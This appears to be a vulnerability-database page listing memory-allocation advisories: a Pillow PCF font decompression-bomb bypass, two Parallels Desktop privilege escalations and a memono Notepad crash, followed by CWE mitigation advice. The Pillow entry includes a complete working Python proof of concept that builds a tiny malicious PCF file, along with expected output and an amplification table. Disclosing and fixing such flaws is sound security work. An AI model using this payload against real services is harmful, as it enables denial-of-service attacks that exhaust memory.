  "details": "## Description\n`PIL/PcfFontFile.py` `_load_bitmaps()` (line 227) reads glyph dimensions from the PCF `METRICS` section and passes them directly to `Image.frombytes()` without calling `Image._decompression_bomb_check()`. Dimensions originate from unsigned 16-bit values:\n\n```\nxsize = right - left          (max: 65535 \u2212 0 = 65535)\nysize = ascent + descent      (max: 65535 + 65535 = 131070)\n```\n\nMaximum exploitable pixel count: **65,535 \u00d7 131,070 = 8,589,734,450 pixels** \u2014 **48\u00d7 the DecompressionBombError threshold**.\n\n**Vulnerable code (`PIL/PcfFontFile.py` line 224\u2013227):**\n```python\nfor i in range(nbitmaps):\n    xsize, ysize = metrics[i][:2]    # from PCF METRICS \u2014 attacker-controlled\n    b, e = offsets[i : i + 2]\n    bitmaps.append(\n        Image.frombytes(\"1\", (xsize, ysize), data[b:e], \"raw\", mode, pad(xsize))\n        # \u2191 NO _decompression_bomb_check()!\n    )\n```\n\n`Image.frombytes()` calls `Image.new()` first (allocating the full C-heap buffer), **then** attempts to fill it. This creates two distinct attack paths:\n\n- **Persistent attack**: Provide matching bitmap data \u2192 `frombytes()` succeeds \u2192 image stored in `font.glyph[ch]` permanently\n- **Transient attack**: Provide a 148-byte PCF file with large declared dimensions but no data \u2192 `Image.new()` allocates the full buffer \u2192 `ValueError` \u2192 buffer freed \u2192 but the spike occurs before Python can respond\n\n## Steps to reproduce\n\n**Proof of Concept script:**\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: PcfFontFile bomb bypass \u2014 148-byte PCF \u2192 23 MB allocation\"\"\"\nimport io, struct, tracemalloc, warnings\nwarnings.filterwarnings(\"ignore\")\n\nfrom PIL.PcfFontFile import PcfFontFile\nfrom PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError\n\nW, H = 14000, 14000   # 196M pixels \u2192 above DecompressionBombError threshold\n\n# Show what Image.open() would do\nwarnings.filterwarnings(\"error\", category=DecompressionBombWarning)\ntry:\n    _decompression_bomb_check((W, H))\nexcept (DecompressionBombWarning, DecompressionBombError) as e:\n    print(f\"[Image.open() path] BLOCKED by {type(e).__name__}\")\nwarnings.filterwarnings(\"ignore\")\n\n# PCF binary constants\nPCF_MAGIC    = 0x70636601\nPCF_PROPS    = 1 \u003c\u003c 0\nPCF_METRICS  = 1 \u003c\u003c 2\nPCF_BITMAPS  = 1 \u003c\u003c 3\nPCF_ENCODINGS= 1 \u003c\u003c 5\n\ndef build_bomb_pcf(xsize, ysize):\n    # Properties: empty\n    props = struct.pack(\"\u003cIII\", 0, 0, 0)\n\n    # Metrics (jumbo, non-compressed): 1 glyph \u2014 xsize=right-left, ysize=ascent+descent\n    metrics = struct.pack(\"\u003cII\", 0, 1)\n    metrics += struct.pack(\"\u003cHHHHHH\", 0, xsize, xsize, ysize, 0, 0)\n\n    # Bitmaps: 1 glyph, empty data (transient attack)\n    bitmaps = struct.pack(\"\u003cII\", 0, 1)\n    bitmaps += struct.pack(\"\u003cI\", 0)              # offset[0] = 0\n    bitmaps += struct.pack(\"\u003cIIII\", 0, 0, 0, 0) # bitmap_sizes all = 0\n\n    # Encodings: char 0x41 (\u0027A\u0027) \u2192 glyph 0\n    enc_offsets = [0xFFFF]*65 + [0] + [0xFFFF]*62\n    encodings = struct.pack(\"\u003cIHHHHH\", 0, 0, 127, 0, 0, 0xFFFF)\n    encodings += struct.pack(\"\u003c\" + \"H\"*128, *enc_offsets)\n\n    secs = [(PCF_PROPS, props), (PCF_METRICS, metrics),\n            (PCF_BITMAPS, bitmaps), (PCF_ENCODINGS, encodings)]\n    hdr_size = 4 + 4 + len(secs) * 16\n    out = struct.pack(\"\u003cII\", PCF_MAGIC, len(secs))\n    offset = hdr_size\n    for stype, sdata in secs:\n        out += struct.pack(\"\u003cIIII\", stype, 0, len(sdata), offset)\n        offset += len(sdata)\n    for _, sdata in secs:\n        out += sdata\n    return out\n\npcf = build_bomb_pcf(W, H)\nprint(f\"[*] PCF file size  : {len(pcf)} bytes\")\nprint(f\"[*] Glyph size     : {W} x {H} = {W*H:,} pixels\")\nprint(f\"[*] C-heap target  : {W*H//8//1024**2} MB  (mode \u00271\u0027 = 1 bit/pixel)\")\n\ntracemalloc.start()\ntry:\n    font = PcfFontFile(io.BytesIO(pcf))\n    _, peak = tracemalloc.get_traced_memory()\n    tracemalloc.stop()\n    print(f\"[!] CONFIRMED (persistent): bomb check bypassed \u2014 heap peak {peak/1024**2:.2f} MB\")\nexcept Exception as e:\n    _, peak = tracemalloc.get_traced_memory()\n    tracemalloc.stop()\n    print(f\"[!] CONFIRMED (transient): {type(e).__name__} after allocation\")\n    print(f\"    Heap peak: {peak/1024**2:.2f} MB\")\n    print(f\"    C-heap allocation of ~{W*H//8//1024**2} MB occurred before exception\")\n```\n\n**Expected output:**\n```\n[Image.open() path] BLOCKED by DecompressionBombError\n[*] PCF file size  : 148 bytes\n[*] Glyph size     : 14000 x 14000 = 196,000,000 pixels\n[*] C-heap target  : 23 MB  (mode \u00271\u0027 = 1 bit/pixel)\n[!] CONFIRMED (transient): ValueError after allocation\n    C-heap allocation of ~23 MB occurred before exception\n```\n\n**Amplification table:**\n\n| PCF file | Glyph dims | C-heap (mode \u00271\u0027) | Bomb check |\n|---|---|---|---|\n| 148 bytes | 14000 \u00d7 14000 | 23 MB (transient) | Bypassed |\n| 148 bytes | 65535 \u00d7 131070 | 1.07 GB (transient) | Bypassed |\n| ~512 MB | 65535 \u00d7 131070 | 1.07 GB (persistent) | Bypassed |\n\n## Impact\n- **Availability**: HIGH \u2014 up to 1.07 GB per glyph, no limit per font file\n- **Confidentiality**: None\n- **Integrity**: None\n- Any service loading PCF fonts from untrusted sources (e.g., `PcfFontFile(fp)`) is affected\n- `PcfFontFile` is never loaded via `Image.open()`, so the bomb check protection is completely absent from the entire PCF font loading path\n- Confirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-07",
  "id": "GHSA-8v84-f9pq-wr9x",
  "modified": "2026-07-20T21:08:27Z",
  "published": "2026-07-20T21:08:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-8v84-f9pq-wr9x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54059"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2253.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/python-pillow/Pillow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` \u2014 bomb protection bypass via PCF font loading"
}

GHSA-8VHH-3C8H-FWC3

Vulnerability from github – Published: 2022-01-26 00:01 – Updated: 2022-02-02 00:02
VLAI
Details

This vulnerability allows local attackers to escalate privileges on affected installations of Parallels Desktop 16.1.3-49160. An attacker must first obtain the ability to execute low-privileged code on the target guest system in order to exploit this vulnerability. The specific flaw exists within the Toolgate component. The issue results from the lack of proper validation of user-supplied data, which can result in an uncontrolled memory allocation. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of the hypervisor. Was ZDI-CAN-13797.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-34869"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-01-25T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "This vulnerability allows local attackers to escalate privileges on affected installations of Parallels Desktop 16.1.3-49160. An attacker must first obtain the ability to execute low-privileged code on the target guest system in order to exploit this vulnerability. The specific flaw exists within the Toolgate component. The issue results from the lack of proper validation of user-supplied data, which can result in an uncontrolled memory allocation. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of the hypervisor. Was ZDI-CAN-13797.",
  "id": "GHSA-8vhh-3c8h-fwc3",
  "modified": "2022-02-02T00:02:05Z",
  "published": "2022-01-26T00:01:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-34869"
    },
    {
      "type": "WEB",
      "url": "https://kb.parallels.com/125013"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-21-1057"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-8VVH-6WQM-9FPW

Vulnerability from github – Published: 2022-01-26 00:01 – Updated: 2022-02-01 00:00
VLAI
Details

This vulnerability allows local attackers to escalate privileges on affected installations of Parallels Desktop 16.1.3-49160. An attacker must first obtain the ability to execute high-privileged code on the target guest system in order to exploit this vulnerability. The specific flaw exists within the Toolgate component. The issue results from the lack of proper validation of user-supplied data, which can result in an uncontrolled memory allocation. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of the hypervisor. Was ZDI-CAN-13672.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-34867"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-01-25T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "This vulnerability allows local attackers to escalate privileges on affected installations of Parallels Desktop 16.1.3-49160. An attacker must first obtain the ability to execute high-privileged code on the target guest system in order to exploit this vulnerability. The specific flaw exists within the Toolgate component. The issue results from the lack of proper validation of user-supplied data, which can result in an uncontrolled memory allocation. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of the hypervisor. Was ZDI-CAN-13672.",
  "id": "GHSA-8vvh-6wqm-9fpw",
  "modified": "2022-02-01T00:00:49Z",
  "published": "2022-01-26T00:01:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-34867"
    },
    {
      "type": "WEB",
      "url": "https://kb.parallels.com/125013"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-21-1055"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-8WMX-4C83-GCJF

Vulnerability from github – Published: 2026-05-10 15:31 – Updated: 2026-05-10 15:31
VLAI
Details

memono Notepad 4.2 contains a denial of service vulnerability that allows attackers to crash the application by pasting excessively long character buffers into note fields. Attackers can generate a payload containing 350000 repeated characters and paste it twice into a new note to trigger an application crash on iOS devices.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-47944"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-10T13:16:30Z",
    "severity": "HIGH"
  },
  "details": "memono Notepad 4.2 contains a denial of service vulnerability that allows attackers to crash the application by pasting excessively long character buffers into note fields. Attackers can generate a payload containing 350000 repeated characters and paste it twice into a new note to trigger an application crash on iOS devices.",
  "id": "GHSA-8wmx-4c83-gcjf",
  "modified": "2026-05-10T15:31:20Z",
  "published": "2026-05-10T15:31:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-47944"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/49977"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/memono-notepad-denial-of-service-via-buffer-overflow"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}
Mitigation
Implementation Architecture and Design

Perform adequate input validation against any value that influences the amount of memory that is allocated. Define an appropriate strategy for handling requests that exceed the limit, and consider supporting a configuration option so that the administrator can extend the amount of memory to be used if necessary.

Mitigation
Operation

Run your program using system-provided resource limits for memory. This might still cause the program to crash or exit, but the impact to the rest of the system will be minimized.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list